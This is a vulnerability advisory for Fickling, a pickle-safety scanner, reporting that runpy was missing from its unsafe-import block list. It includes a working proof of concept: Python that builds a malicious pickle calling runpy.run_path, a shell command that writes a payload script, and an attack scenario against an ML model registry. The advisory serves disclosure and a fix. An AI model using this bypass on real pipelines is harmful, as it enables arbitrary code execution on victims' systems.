CVE-2026-22606

# Fickling's assessment `runpy` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66). # Original report ### Summary Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. ### Details The `runpy` module is missing from fickling's block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types). Incriminated source code: - File: `fickling/analysis.py` - Class: `UnsafeImports` - Issue: The blocklist does not include `runpy`, `runpy.run_path`, `runpy.run_module`, or `runpy._run_code` Reference to similar fix: - PR #187 added `pty` to the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach - The same fix pattern should be applied for `runpy` How the bypass works: 1. Attacker creates a pickle using `runpy.run_path()` in `__reduce__` 2. Fickling's `UnsafeImports` analysis does not flag `runpy` as dangerous 3. Only the `UnusedVariables` heuristic triggers, resulting in `SUSPICIOUS` severity 4. The pickle should be rated `OVERTLY_MALICIOUS` like `os.system`, `eval`, and `exec` Tested behavior (fickling 0.1.6): | Function | Fickling Severity | RCE Capable | |-------------------|----------------------------|-------------| | os.system | LIKELY_OVERTLY_MALICIOUS | Yes | | eval | OVERTLY_MALICIOUS | Yes | | exec | OVERTLY_MALICIOUS | Yes | | runpy.run_path | SUSPICIOUS | Yes ← BYPASS | | runpy.run_module | SUSPICIOUS | Yes ← BYPASS | Suggested fix: Add to the unsafe imports blocklist in `fickling/analysis.py`: - runpy - runpy.run_path - runpy.run_module - runpy._run_code - runpy._run_module_code ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._**Environment:** - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip) Step 1: Create malicious pickle import pickle import runpy class MaliciousPayload: def __reduce__(self): return (runpy.run_path, ("/tmp/malicious_script.py",)) with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f) Step 2: Create the malicious script that will be executed echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py Step 3: Analyze with fickling fickling --check-safety malicious.pkl Expected output (if properly detected): Severity: OVERTLY_MALICIOUS Actual output (bypass confirmed): { "severity": "SUSPICIOUS", "analysis": "Variable `_var0` is assigned value `run_path(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file", "detailed_results": { "AnalysisResult": { "UnusedVariables": ["_var0", "run_path(...)"] } } } Step 4: Prove RCE by loading the pickle import pickle pickle.load(open("malicious.pkl", "rb")) # Check: ls /tmp/pwned <-- file exists, proving code execution Pickle disassembly (evidence): 0: \x80 PROTO 4 2: \x95 FRAME 92 11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP ### Impact Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502). Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes: Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system. Severity: HIGH - The attacker achieves arbitrary code execution - The security control (fickling) is specifically designed to prevent this - The bypass requires no special conditions beyond crafting the pickle with `runpy`

An attacker targeting an organization's ML pipeline uploads a malicious model.pkl to an internal or third-party model registry. The file embeds a __reduce__ method calling runpy.run_path('/tmp/payload.py') to execute attacker-controlled code. The CI/CD pipeline runs Fickling 0.1.6 to vet the upload — Fickling returns 'SUSPICIOUS' (not 'OVERTLY_MALICIOUS') and the automated gate passes it. The model is promoted to the model registry. When an automated retraining job or data scientist loads the model, the embedded payload executes with the process's privileges: exfiltrating cloud credentials, establishing persistence, or laterally moving to training infrastructure.